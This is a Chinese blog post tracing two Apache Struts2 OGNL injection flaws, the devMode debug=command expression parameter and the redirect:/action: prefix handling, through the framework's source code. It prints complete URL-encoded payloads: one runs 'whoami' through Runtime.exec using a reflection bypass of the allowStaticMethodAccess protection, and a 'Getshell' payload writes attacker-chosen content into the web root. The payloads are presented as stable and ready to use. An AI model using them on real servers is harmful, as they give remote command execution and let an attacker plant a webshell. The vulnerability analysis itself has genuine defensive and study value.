weibo:genxor
看到網(wǎng)上關(guān)于struts2利用的文章非常多,但是對于漏洞觸發(fā)跟蹤分析的文檔比較少,閑來(lái)無(wú)事跟蹤了一下struts最近吵得比較火的兩個(gè)漏洞,研究了一下能夠穩定利用的payload。
Struts2框架存在一個(gè)devmode模式,方便開(kāi)發(fā)人員調試程序,但是默認devmode是不開(kāi)啟的,如果想要使用,需要手動(dòng)修改參數,可以將struts.properties中的devmode設置為true,或是在struts.xml中添加如下代碼,
<constant name="struts.devMode" value="true" />
實(shí)際上devmode依賴(lài)于struts2底層的struts2-core.jar中的DebuggingInterceptor.java實(shí)現,然后漏洞也存在于此程序中。這里我以debug=command這個(gè)邏輯下,測試漏洞,我的POC如下所示:
http://localhost:8080/S2-016/hello.action?debug=command&expression= %23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
首先,這里是devmode的幾種模式,

繼續跟蹤DebuggingInterceptor.java的代碼,發(fā)現問(wèn)題出在下面這個(gè)邏輯當中

跟蹤參數如圖

可以看到這里
String cmd = getParameter(EXPRESSION_PARAM); … writer.print(stack.findValue(cmd));
這里cmd沒(méi)做任何處理,后面直接findValue(findValue能夠執行OGNL表達式,具體參考官方文檔),導致OGNL表達式執行。
關(guān)于這個(gè)漏洞執行,其實(shí)沒(méi)什么好說(shuō)的,關(guān)鍵是這個(gè)payload調用java反射類(lèi)(可以訪(fǎng)問(wèn)一些私有成員變量)繞過(guò)了struts2限制執行java靜態(tài)方法的規則法的規則,使之前apache官方的修復又白費了。因為struts2在2.3.14.1版本之后便設置#_memberAccess[“allowStaticMethodAccess”]為不可修改,而要調用java靜態(tài)方法,必須要設置allowStaticMethodAccess為true才可以。這里使用
#f = #_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')#f.setAccessible(true) #f.set(#_memberAccess, true) 這里使用java的反射機制繞過(guò)了限制。另外,還有利用java.lang.ProcessBuilder類(lèi)的start()方法來(lái)實(shí)現(ProcessBuilder類(lèi)是用來(lái)創(chuàng )建系統進(jìn)程的,每個(gè)實(shí)例管理一個(gè)進(jìn)程屬性集合,start方法用來(lái)創(chuàng )建一個(gè)新的進(jìn)程實(shí)例,并且可以從相同的實(shí)例中反復多次的初始化、創(chuàng )建子進(jìn)程。隨便構造一個(gè)java.lang.ProcessBuilder的實(shí)例,然后調用它的start()方法,便達到命令執行的目的),但這個(gè)算是另一種思路,并沒(méi)有從根本上修改#_memberAccess[“allowStaticMethodAccess”]的值。
在struts2中,DefaultActionMapper類(lèi)支持以"action:"、"redirect:"、"redirectAction:"作為導航或是重定向前綴,但是這些前綴后面同時(shí)可以跟OGNL表達式,由于struts2沒(méi)有對這些前綴做過(guò)濾,導致利用OGNL表達式調用java靜態(tài)方法執行任意系統命令。
這里以“redirect:”前綴舉例,struts2會(huì )將“redirect:”前綴后面的內容設置到redirect.location當中,這里我們一步步跟蹤,首先是這個(gè)getMapping函數跟入

這里一直到這個(gè)handleSpecialParameters(),繼續跟入


這里真正傳入OGNL表達式是在這個(gè)parameterAction.execute()中,繼續跟入來(lái)到DefaultActionMapper.java的代碼

這里key.substring(REDIRECT_PREFIX.length())便是前綴后面的內容也就是OGNL表達式,struts2會(huì )調用setLocation方法將他設置到redirect.location中。然后這里調用mapping.setResult(redirect)將redirect對象設置到mapping對象中的result里,如圖所示

然而上面的過(guò)程只是傳遞OGNL表達式,真正執行是在后面,這里是在FilterDispatcher類(lèi)中的dispatcher.serviceAction()方法,這里的mapping對象中設置了傳入的OGNL

這里跟入方法最終會(huì )在TextParseUtil這個(gè)類(lèi)的調用stack.findValue()方法執行OGNL。

這里我結合之前幾個(gè)漏洞湊出一個(gè)通用payload,目前測試還是很穩定的
命令執行
%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
Getshell
%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%29%2c%23b%3dnew+java.io.FileOutputStream%28new%20java.lang.StringBuilder%28%23a.getRealPath%28%22/%22%29%29.append%28@java.io.File@separator%29.append%28%23a.getParameter%28%22name%22%29%29.toString%28%29%29%2c%23b.write%28%23a.getParameter%28%22t%22%29.getBytes%28%29%29%2c%23b.close%28%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%22BINGO%22%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
同時(shí)在之前的struts2exp這個(gè)程序基礎上修改出一個(gè)exp,整合了近幾年出現的幾個(gè)高危漏洞,

程序先不公開(kāi)放出,大家可以自己用語(yǔ)句測試自己的服務(wù)器是否有該問(wèn)題。
聯(lián)系客服